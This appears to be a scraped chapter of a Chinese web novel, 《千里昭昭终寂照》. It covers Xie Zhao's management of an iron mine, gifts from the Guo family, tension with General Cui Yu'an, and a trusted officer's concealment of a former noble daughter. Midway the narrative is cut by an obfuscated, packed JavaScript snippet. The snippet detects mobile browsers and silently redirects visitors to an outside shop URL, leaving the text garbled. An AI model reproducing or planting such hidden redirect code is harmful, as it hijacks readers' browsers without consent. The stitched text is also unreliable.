67. 第 67 章
作品:《千里昭昭终寂照》 “所以,你们有何提议吗?”谢昭抿了一口茶水,压一压心口的不快。
显然明白了谢昭的不快,崔昱安这才放下手里的笔。
“昭昭,大营最近军务繁忙,他们也是确实无暇顾及到铁矿那边。”崔昱安的话说的很明显了。“铁矿的事情你掂量着办就行,有需要的你说一声,他们都会配合的。”
谢昭手里把玩着茶盏,知道这事他们是确实无暇顾及了,可也不能干等着。“行吧,我再回去思虑一下。”说完就想起身,却被崔昱安按住了。谢昭气恼的眼神盯着他。旁边两人瞧着立马就出去了。
“不要生气,确实是开春了营里事务多,他们都忙的很。”说完手背蹭了蹭她的耳垂,他发现了,她的耳朵很敏感,刚碰上就浑身瑟缩的往人怀里钻。每次都惹的他血气上涌。最后难受的还是自己。
谢昭烦死他了,正事的时候靠谱的话一句不说,这会有闲心在这逗趣。拉过他的手就咬,又舍不得下死口,就是自己解解气。哪料到崔昱安转手,竟然伸了个手指进她嘴里,绕着她的舌头一圈圈的搅打转,谢昭只觉得吞咽的难受,眼角都出了泪。谢昭受不了他手指搅动,向后仰头,竟一下被他压倒在地,他的吻从未这样急切凶猛,强势的吮吸让谢昭觉得舌根都疼了。然后又突然被抵住额头,听见他仿佛难耐又压抑的低吟。谢昭想要扶他起身被他摁住。缓了好一会才坐起身来。
“那个郭庭章是什么样的人,怕是要和他见上一面,我做个准备。”谢昭想着这事后续牵扯太大,还是要当面聊得好。
“这你就不要担心了,谢清平你都不怕,拿捏的死死的,郭庭章完全不是你的对手的。”崔昱安越是这样说谢昭反而越担心,这种高门大户的嫡子家主,心思都深得很,尤其是这人能在家族通敌的罪责下,留下人头活命。手段计策怎可能是一般人。
“你别怕,郭家的事情,你放开手去处理。万事有我。”崔昱安说的轻巧。谢昭瞧他还一脸的难耐的神色,难道是之前的伤势。
“伤处还疼吗?要不要叫军医过来瞧瞧?”谢昭摸着他的脸颊。怎料他竟然噗呲的笑了起来。也不说话,帮谢昭整理了衣物,让她出去。
谢昭回府刚下马,阿弥就上来回话,郭家送了礼过来。王妙芝最近因为两边师傅起争执的事情,正对郭家不满,正巧就碰上来了。
“我瞧着他们这是狗皮膏药,死皮烂脸的缠上来了。”一脸的瞧不上。谢昭是真喜欢她这种略带傲慢的性格。只是自己自然是不行的。
“他们有没有说明,是送给谢昭,还是崔将军。”
“那个管家特意叮嘱,说是商队从胡地带回来的一些奇珍,特意送来给谢娘子赏玩。”谢昭了然,这人显然摸清楚了自己的底细。是个聪明人。
打开礼盒,谢昭都觉得不可思议,崔昱安曾和她提及的绿石头,眼前的虽没有拳头大,却也像个鸡蛋大小。谢昭不用猜都知道,下面的礼只会更贵重,这个郭庭章是在提醒,还是在警示呢。
“阿姊,郭家这样的,你其实完全不比在意,崔将军找个由头,就能灭了全家。”王妙芝说的很直白。谢昭笑了,若是想除掉郭家,那当初崔昱安不会费功夫保下他家。加上白日里崔昱安也说了,这几年还不能动郭家。
手里把玩起这个绿石头,谢昭真正有种骑虎难下的感觉,要如何回礼才合适呢。不能太便宜,不然郭家难保不会给崔昱安使绊子,也不能太贵重,让郭家以为北境还是他家说了算。真是让人头疼的很。
谢昭看着眼前的铁矿,问话“老师傅,你瞧着除去这个炉子,还有什么是可以改进的。你只管说。”
“那我就大胆直言了,除了这炉子,我还在琅琊时候就已经听说,北方有种石炭,比我们用的竹炭松木碳都要好,如果能寻来试一下,也许能比琅琊炼出来的更多。”谢昭惊叹,这才几个月,琅琊王家的技艺竟又有改进了。果然不能小觑。
谢昭示意老师傅继续说。
“还有这鼓风的技艺也很关键,也要改。”
“还有这打铁的手法。”这老师傅欲言又止的模样,让谢昭不解。
“你直接说吧,就当是在我家矿上,不用顾虑。”王妙芝见不得这样吞吞吐吐的样子,丢她王家的脸。
“这样打铁的手法,出来的农具也就一般,尤其要出兵器就更脆了。”谢昭明白了,这老师傅为何犹豫,这话直接就挑明了,王家是可以炼出兵器的,这放到朝堂可是重罪。
“老师傅,这以后一切的改进,技艺都听你的。你放心,矿上一切我说了算。”谢昭明白他的顾虑。只想让他安心的干活。
谢昭转脸问王妙芝,“你家的铁器都是如何卖出去的。”
“我家庄园遍布江南诸地,要用去一半,剩下主要供给郡县所需的农具,军府所需铁料,多的从水路运往会稽。”王妙芝看着一脸不可置信的谢昭,“矿上待得久了,什么话都能听到。”
谢昭顺着她的话一想,竟然觉得要便宜郭家了。
崔昱安发现,每次只要他传话回府,谢昭总是点了烛火等着,不管夜深到几时。她好像有种执念,就想年三十的时候,她固执的认为应该一起过。但是这种执念让他有种久违的家人的感觉,除去男女的欲望亲密,这种想家人一般的亲密触及他的深处。
“过几日就要回京述职,你准备准备,我们一起回。”崔昱安仰躺在榻上,神色松懈,应该是很期待回京师。
“李家的事情,谢清平解决了嘛?”谢昭有些不安,毕竟谢清平许久未提这事,她也不好多问。
“已经安定了。”崔昱安侧身坐起,手里摩挲着被褥。抬眼凝望,许久不说话。谢昭不解,他这是要作何。竟一幅委屈的模样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172125|196846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
崔昱安近些时日好像总是这样,有些顾忌,不似从前那般洒脱肆意,尤其是,之前两人亲密的时候,他总是时不时的提起成亲一事,这几个月他已经不再提起,甚至谢昭隐约觉得他每次动情都有种粗鲁的,强势的意味在其中。
“崔昱安,你有事瞒着我?”谢昭到不觉得他有事瞒着,毕竟前车之鉴摆在那里,他不是重蹈覆辙的人。但他明显在克制着某些情绪。谢昭不喜欢这样。
“怎会,我对你没有可隐瞒的。”他的笑脸一如往昔。语气轻松,手脚松快,看着毫无破绽。可是崔昱安真的很想问一句,昭昭,你可有对我隐瞒的。可是他问不出口,她那样离去,江南期间和谁在一起,做什么都是她的自由,自己有何脸面去对峙。
“王家的事情我已经有了些眉目,我再考虑考虑,京师回来好推行”谢昭不理他,王家的事情已经够烦人的了,她不想现在和他起争执。
临了回京师,谢昭有事在矿上耽搁了,倒是崔昱安先回的府。所以谢昭回府的时候,碰上的是周怀志和那个侍女跪在一起。府里一片寂静。
谢昭不解,慢慢走的近了也只听见周怀志的祈求,“崔将军,求您给个活路吧,她还小,是无辜的!”周怀志跪着上前了几步,急着求饶。
反而是那侍女,不见丝毫的退让和怯懦,完全不是为奴为婢的姿态。“崔将军,事已至此,你我都已不复当日,你作何处罚,听凭处置。”谢昭觉得这娘子倒是真的会说话,崔昱安就喜欢这种大义凛然不畏生死的性子。
崔昱安原本还在敲桌面的手,听见谢昭脚步,大步踏了过来,“我也是刚得知这事,先说好,有话就说别着急上火。”抓的谢昭手腕生疼。谢昭不由得好奇,什么样的人让他如此紧张。悄声的问他,“你之前的相好的?”谢昭本想逗他一笑,不想他没笑。谢昭嘴角的笑意慢慢落了下去。心落到了谷底。
“是崇安伯府之前的那个嫡女。”他的声音很轻,落在了谢昭心坎上有千斤重。
“她流放途中,被多次买卖,机缘巧合到了北境被买进府里。周怀志与她有了情意。”
“周都尉?”谢昭只觉得冰冷的匕首刺进胸膛的感觉,浑身的血凉透了,她之前吩咐叮嘱周都尉查询这个侍女,结果他为了私情,竟然隐瞒不报。这可是跟了自己几年,从未有过二心的周都尉,为自己拼过命,知晓自己所有底细的周都尉,甚至很多事情崔昱安,谢清平都不一定比他更了解自己。谢昭整个身子都凉了。
崔昱安拉住了她,“这事,他也是被迷了心,而且这女子并未动过何不好的念头。”谢昭突然觉得好笑,他是想说,这样的美貌有才情的贵女愿意委身,周怀志的背叛就是情有可原吗?谢昭大声的斥责他,“所以呢崔昱安,背叛可以轻易的放过,因为背叛的原因足够美貌嘛?”谢昭的冷笑让所有人都心抖了一下。

